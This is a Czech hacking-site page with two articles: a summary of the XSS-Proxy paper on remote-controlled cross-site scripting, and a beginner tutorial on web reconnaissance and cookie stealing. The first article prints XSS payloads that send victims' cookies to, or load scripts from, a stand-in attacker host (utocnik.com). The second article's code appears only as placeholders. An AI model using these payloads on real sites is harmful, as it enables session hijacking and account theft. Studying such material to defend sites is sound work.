Výsledky vyhledávání v sekci Hacking na dotaz útočníka

Pokročilé techniky xss (cross-site scripting)

access_time16.červen 2020personRedakce

Popis pokročilého Cross-Site-Scriptingu, se vzdálenou kontrolou v reálném čase, od autora aplikace XSS-proxy jménem Anton Rager. Cross Site Scripting (XSS) je mnoha vývojáři a security profesionály obvykle považován za málo závažnou bezpečnostní zranitelnost. Do dnešní doby vznikla řada projektů s poukazem na potencionální rizika XSS, ale problém je převažne na pokraji zájmu bezpečnostních expertů a to včetně širších souvislostí o které tady jde.Autor aplikace XSS proxy napsal a zveřejnil popis v naději, že se odlehčený pohled na věc změní. Cituji: Doufám, že tímto dokumentem a vydáním nástroje pod jménem XSS-proxy (popsáno níže) změním pohled na celou situaci. XSS-Proxy umožňuje plnou kontrolu XSS útoků vzdáleným uživatelem (útočníkem). Tento dokument popisuje obvyklé XSS útoky a představuje nové metody/nástroje pro vytváření interaktivních XSS útoků, obojsměrných útoků a ještě více zla.Nejedná se o detailní návod (XSS howto), ale o širší vysvětlení metod XSS útoků. CGISecurity XSS FAQ (1) je dobrý zdroj pro celkový pohled na problematiku hlavních XSS zranitelností. V závěru textu jsou reference (2,3,4,5) obsahujíci skvělý materiál pro navazujíci XSS témata.Projekt XSS-proxy nevznikl jako platforma pro diskuzi a řešení. Existuje celá řada zdrojů, metod a možností pro hlášení chyb nebo opravování XSS děr. Pokročilé metody XSS které budou v textu představeny obcházejí mnoho metod aplikovaných proti XSS zranitelnostem. Doporučené čtení o hidden form inputs, URL re-writing, POST methods častokrát podsouvají řešení které nejsou 100% učinné, obzvlásť v případě, že má útočník přístup ke stejnému obsahu (a jscript/values) jako jeho oběť. Zbavit se všech speciálních HTML znaků nebo precizní filtrování vstupu je k ničemu v případě, že existuje neobjevený způsob jak vstup obelstít. Řešením může být rozdelení webových stránek na četné dokumentové domény, kde bude pro útočníka mnohem obtížnější provést/najít XSS útok/zranitelnost v porovnání s jediným místem kde je vše pohromadě. CGI vyhledávání na stránce v jedné subdoméně a citlivé oblasti na další(ch) může být užitečné.Pozadí XSSJako mnoho z vás ví, běžné XSS útoky vycházejí typicky ze dvou základních principů:1 – Útočník uploaduje <script> tag do veřejného fóra, blogu nebo stránek které navštevují uživatelé a obsahují XSS zranitelnost. Útočník pak díky přístupu získa (harvesting cookies) cookies webové stránky ze kterých vyčte řadu důležitých informací a díky tomu častokrát i přítpup k uživatelským účtum. Útoky jsou ale někdy využitelné mnohem hlouběji. Zde je to co myslím a říkam mnoha lidem co XSS přesně znamená. Příklad:Někdo chce odeslat následujíci kód na utocnik.com aby to další uživatelé sprocesovali.<script>document.write(„<img src=http://utocnik.com/“ + document.cookie + „>“)</script>Je to pokus o získání obrázku ze serveru útočníka pomocí cookies uživatele blogu priklad.com v URL.2 – Útočník použije veřejný web náchylný na útok XSS jak bylo uvedeno nahoře, nebo email zprávu založenu na XSS pro přesměrování uživatele na druhý server zranitelný pomocí XSS. Druhý server je aktuální cíl útočníka a stránka samozřejme obsahuje vlastní XSS zranitelnost, kde nic netušíci uživatel injektuje obsah <script> do dokumentu, který navenek pouze vidí. To v kombinaci s přesměrováním z dalšího webu umožňuje podvržení cookies, podvržení form/submit obsahu nebo specifickou akci XSSnutého uživatele proti dalšímu webu. Tato metoda je hodně rozšířena ale pramálo admiínistrátorů chápe, že se jedná o způsob útoku. Jak to funguje?Někdo chce odeslat následujíci kód na priklad.com aby to další uživatelé sprocesovali. <script>document.location=’http://ebanking.com/search?name=<script>document.write(„<img src=http://utocnik.com/“ + document.cookie + „>“)</script>'</script>Moment kdy je uživatel přesměrován na ebanking.com s hořejší XSS, toto je to co se vrátí uživateli a bude spuštěno:<script>document.write(„<img src=http://utocnik.com/“ + document.cookie + „>“)</script>To je pokus o získání obrázku ze serveru útočníka s cookies uživatele ebanking.com v URL.V minulosti hodně lidí zdůrazňovalo, že pokročilou manipulaci s webovým obsahem lze dosáhnout s XSS skriptem otevirajícím IFRAME (nebo další windows-like element) a loads/submits pro další dokumenty na stejné stránce. Důvěra v DOM umožňuje přítomnost Javascriptu v dokumentech a dovoluje interakci s dalšími windows/IFRAME, do doby než budou okna směrována do stejné dokumentové domény (protokol + domain_name + port).Aktuální metody XSS útoků jsou typicky limitovány pro jednu transakci a ve výsledku pouze v rámci cílové stránky, cookie harvesting nebo podvržení formuláře (form submission leakage). Zásady XSS-Proxy / ÚtokuXSS-Proxy rozšířuje běžné XSS útoky a kombinuje je s možností vykonání dalších Javascript příkazů, z libovolného vzdáleného serveru (viz Javascript Remoting reference číslo (6) pro detaily s IFRAME) pro možnost XSS být více než-li přesměrování s únikem cookies. Tato kombinace útočnikovi umožňuje ustavit stabilní, obousměrný kontrolní/přenosový kanál na oběť XSS a tím přistupovat na XSSnuté webové stránky s identitou oběti. Po celou dobu co má oběť útočníka otevřené XSS okno má útočník totální kontrolu nad prohlížečem oběti oproti XSS stránce s možností přesměrování na další stránky zranitelné XSS, nebo předání specifického blind requestu dalším serverům (viz reference číslo (3) provádění Cross-Site-Request-Forgeries aka CSRF a reference číslo (4) pro Session-Riding).Zmíněné situace lze dosáhnou s jedním nebo druhým útokem popsaným nahoře, teď se pokusíme názorně popsat příklad dvojího XSS přesměrování serveru. Oběť dostane XSS vektor pomocí blogu, diskuzního boardu, emailem atp. (předpokládaejme, že oběť surfuje na webech kde je možné vytvořit XSS – zavoláme stránku spatnyblog.com) a Javascript obsah přesměruje uživatele na druhou stránku (zavoláme druhou stránku ebanking.com a předpokládame samozřejmě, že stránka obsahuje XSS vo vyhledávací funkci, takže můžeme opakovat pomocí GET). Přesměrovací URL referuje na refers to a napadnutelnou část (cgi/etc) na druhém serveru což způsobý odezvu serveru která bude obsahovat Javascript příkaz útočníka který oběť vykoná.Inicializační XSS vektor na spatnyblog.com bude vypadat nějak takhle:<script>document.location=“http://ebanking.com/search?name=<script src=’http://utocnik.com/xss.js‘></script>“</script>Okno oběti teď má dokumentovou doménu ebanking.com a Javascript příkazy běží na doméně. Díky Javascript oběť posílá requesty na http://utocnik.com pro další skriptové příkazy. Nástroj XSS-Proxy aktuálně běží na utocnik.com a posyktuje další Javascripty pro inicializaci klientské části obsahujíci třeba funkce pro čtení dokumentů, procesování, přesměrování odpovědí, manipulaci chyb (error handling), stejně jako další příkazy pro vytvoření IFRAME, načtení root dokumentu (/) na cílovém serveru (ebanking.com) do IFRAME, načtení trvá pár vteřin, čtení obsahu (za použití innerHTML), pak následují další požadavek skriptů na http://utocnik.com. To vypadá komplexně ale jedná se pouze o několik řešení a reference časovač pro více volání skriptu na XSS-Proxy server. Funkce zůstanou v paměti až do doby než se okno oběti změní. Co se stane když od oběťi odejdou na http://utocnik.com subsekvenční skript requesty? Aktuálně se stanou dvě věci:1 – Obsah dokumentu v IFRAME (výsledky innerHTML pro daný objekt) jsou podvrženy do URL v skript requestu. Requesty skriptu jsou pouze GET, takže všechny volání skriptu obětí jsou jako volání normálniho dokumentu a ukládají parm/info na URL za jméno skriptu/stránky. Toto volání skriptu způsobý na serveru útočníka něco jako:GET /xss.js?data=Encoded_innerHTML_Contents HTTP/1.1Je to o něco víc komplexnější než to, že IE limituje délku URL (na přibližně 2049 znaků), takže většina dokumentů bude potřebovat naporcovat na části, které se na skritp URL request budou schopny dát dohromady. Aktuální nástroje se s tímto snaží vypořádat tak, že umísťují do URL dotazů přídavné informace pro znovusestavení (podobně jak to funguje u TCP/IP paketů).2 – Server na http://utocnik.com odpoví na poslední požadavek skriptu s více skirpt příkazy pro zachování trvání. Server buďto odpoví pomocía.) loop requestu (obyčejně řekne oběti počkej pár vteřin, pak znovu zkontroluj zda-li existují další příkazy skriptu)b.) dokument requestu (vlož dokument do IFRAME, přečti ho a přepošli výsledky pokud tě o to skript požádá)c.) submit requestu (nastav hodnoty vstupu ve formuláři s IFRAME, odešli, čekej na odpověď, přečti odpověď přepošli výsldek zpátky pokud o to skript požádá).Nebo pomocí javascript var/funkce požadavek na vyhodonocení (vyhodnoť výraz uvnitř aktuálniho okna v prohlížeči oběti a vrať výsledek+get příkazy). Proces pokračuje tak dloho jak oběť setrváva na stejné stránce.Zde je ASCII vizualizace okna a vysvětlení v souvislostech s cílem útočníka, po tom co je oběť přesměrována na finálni cíl a inicializován únos session:Existuje řada metod pro zamaskování aktuálniho „rezidentního“ okna pro útok (attack window) nebo IFRAME zaváděče. Celé okno lze schovat, stejně tak zrušit původní obsah stránek nebo proste použít skrytý IFRAME. Nástroj XSS-Proxy o kterém mluvíme, necháva okno včetně IFRAME pro oběť viditelné, ale modifikace je triviální (třeba interaktivně s Javascript Eval from). Existují i metody jak donutiti uživatele otevřít nové okno a obejít blokování pop-up oken. Jak? XSS proces přepíše odkazy v originálním dokumentu a otevření okne je pak pouze otázkou kliku. Nové oknomůže být kopii (zrcadlem) toho co si uživatel právě prohlíží, nebo výsledek odkliknutého odkazu ve veřejném XSS dokumentu a zmanipuluje oběť tak, že okno kontrolované XSS nechá běžet když dál surfuje.

folder_openPřiřazené štítky

Základy hackování webových stránek

access_time16.červen 2020personRedakce

Tento text je ucelený soubor metod útoku na web. Jsou zde popsány základní principy důležité k pochopení jak takové napadnutí webové stránky může vypadat, což vám může pomoci v zabezpečení vaší webové stránky. Učit se čistě konkrétní útoky na web bez znalosti funkčnosti a vnímání souvislostí je zbytečné, na to jsou dobří boti ne lidí. Umění průniků je znalost tématu, ne použití programu s tlačítkem „háčkuj“.Základní princip útoku je získání informace. Je dobré vědět na co útočíte a jaké máte možnosti. To znamená například zjistit si jaká aplikace se za zobrazovanou stránkou skrývá nebo jaká je configurace serveru. To vede k dalšímu kroku, jak je obstarání exploitu, zdrojového kódu konkrétní webové aplikace nebo útok metodou pokus omyl. Možností je víc než dost. Konkrétní banální příklad získání kritické informace může vypadat třeba takto. Webstranka na doméně www.spatnastranka.cz má vlastní redakční systém na správu obsahu stránky. Tím odpadá možnost použití exploitu pro již nalezenou chybu nebo obstarání zdrojového kódu. Proto útočník zkusí štěstí. Podívá se jestli je na serveru soubor robots.txt. Tento soubor na serveru ani nemusí být, jde totiž o soupis pravidel pro indexovaci roboty kteří mapují stránky. Například Google robot. Webmaster do robots.txt vloží pravidlo Disallow pro objekty které nechce aby robot zaznamenal a posléze zveřejnil. Ale protože útočník se žádnými pravidli neřídí, této informace zneužije. Takže dejme tomu že obsah na www.spatnastranka.cz/robotx.txt je Disallow: /admin. Tím se útočník dozví kterou složku nebo soubor webmaster nechce světu ukázat. Přístupem na www.spatnastranka.cz/admin může být útočník extrémně příjemně překvapen nezaheslovaným administračním systémem a když ne, aspoň bude vědět kam dál směřovat své kroky. Další možné „blbé“ soubory: phpinfo.php test.php config.inc mysql.inc …JavascriptJde o nástroj určený k modifikaci stránky během zobrazování. Vkládání javascriptu není jen záležitostí autora stránky. Prohlížeč načítá všechny soubory na které stránka odkazuje a celá stránka se pak prohlíží z lokálních dat, včetně javascriptu. To dává příležitost k tomu aktivně pracovat s obsahem.Nejjednodusi vložení vlastiho scriptu do stránky na kterou se útočí je přímo přes prohlížeč. Script se vloží do panelu adresy kde se normálně píše url.1XXXXXXXXXXXXXXXX1Díky tomu je možné měnit i obsah hodnot ve formulářích které se normálně editovat nedají jako schované nebo zakázané. Konkrétní banální příklad javascript injection. Registrační formulář na stráncehttp://spatnastranka.cz/registrace.php je hlídaný javascriptem aby uživatel mohl zadávat jen znaky abecedy a čísla, ostatní znaky smaže. To je samozřejmě chyba.2XXXXXXXXXXXXXXXX1Zdroják:3XXXXXXXXXXXXXXXX1Syntaxe javascriptu umožňuje zapsat cokoliv do jednoho řádku. To dává útočníkovi větší sílu. Dejme tomu že položka jméno je ve stavu kdy do ní nelze zapisovat a tudíž měnit ji. Tímto scriptem ji lze povolit k editaci.4XXXXXXXXXXXXXXXX1Rozšířené využití tohoto útoku než jen malé změny na stránce, je například protlačení scriptu jako položky formuláře která se zobrazuje i ostatním uživatelům. Ale o tom už v XSS. Pro lepší zvládnutí Javascript injection je dobré se aspoň trochu orientovat v Javascriptu, viz http://w3.orghttp://w3schools.com http://developer.mozilla.org/en/docs/JavaScriptXSSPokročilejší technika útoku s javascriptem. Cílem útočníka je spustit script u své oběti. Toho docílí tak že script zakomponuje na stránku kterou si oběť zobrazí a tím ho spustí. Script by měl být nenápadný a efektivní. To znamená co nejméně kódu k požadovanému efektu. Data která skript získá musí uložit na místo které je útočníkovi přístupné. Utocnik tak může získat informace o uzovateli a dále je použit. Aby script byl účinný musí být vložen na stránku se kterou má oběť nějaký vztah. Například administartor fóra. Admin aby mohl spravovat fórum musí se přihlásit, po přihlášení obdrží identifikační data díky kterým fórum zase pozná že uživatel s těmito daty je amdin. Ano, útočník chce získat datakterá dostal admin aby se za něj mohl vydávat. V předcházející kapitole o Javascriptu jste si mohli všimnout že Javascript pracuje pouze s daty patřícími k zobrazované stránce. Proto musí být útočníkův script spuštěn na stránce fóra. Způsobu vložení scriptu je víc, záleží jen od neznalosti autora stránky aznalosti útočníka. Pokud fórum nekontroluje příspěvky proti scriptum, zde může být potenciální bezpečnostní chyba. Jiná možnost je zakomponovat script do adresy stránky. Adresa totiž může obsahovat data se kterými stránka dále pracuje a je možnost že je vkládá do zdrojového kódu stránky.Příklad. Předpokládejme že jde o nám již známou chybu. Fórum na adrese http://spatnastranka.cz/forum/ je veřejné fórum kde se může registrovat každý a identifikační data se ukládají do takzvané cookie „sušenky“. Obsah cookie si pamatuje prohlížeč, tzn. data jsou uložena lokálně u uživatele. Fórum naštěstí pro útočníka nekontroluje ke které IP jaké cookie patří. Utocnik se zaregistrujea vyzkouší v nenápadném tmavém koutu fóra jestli lze do stránky vložit script. Do pole příspěvku vloží například kód:5XXXXXXXXXXXXXXXX1a odešle jej. Zobrazí si svůj příspěvek a vyskočí okno s textem ‘hloupá chyba’, script se spustil. Smaže příspěvek a nachystá si něco lepisho. Třeba cookie stealer. Ten funguje tak že script ze stránky přesměruje uživatele na útočníkův script který si uloží data nebohého uživatele. Cookie stealer může vypadat například takto:6XXXXXXXXXXXXXXXX1Kód je pouze ilustrativní. Jde o velice nešikovný cookiestealer protože dochází k přesměrování a uživateli to bude podezřelé. Nicméně svůj účel to splní. Další velice důležitá část je přesměrování obsahu cookie od uživatele k útočníkovu scriptu. Toho docílíme javascriptem umístěným na fóru.7XXXXXXXXXXXXXXXX1A to je vše. Uživatel si zobrazí útočníkův příspěvek a najednou kouká na úplně jinou stránku. Oběť je zmatená a útočník má data potřebná k tomu aby se za něj mohl vydávat.

folder_openPřiřazené štítky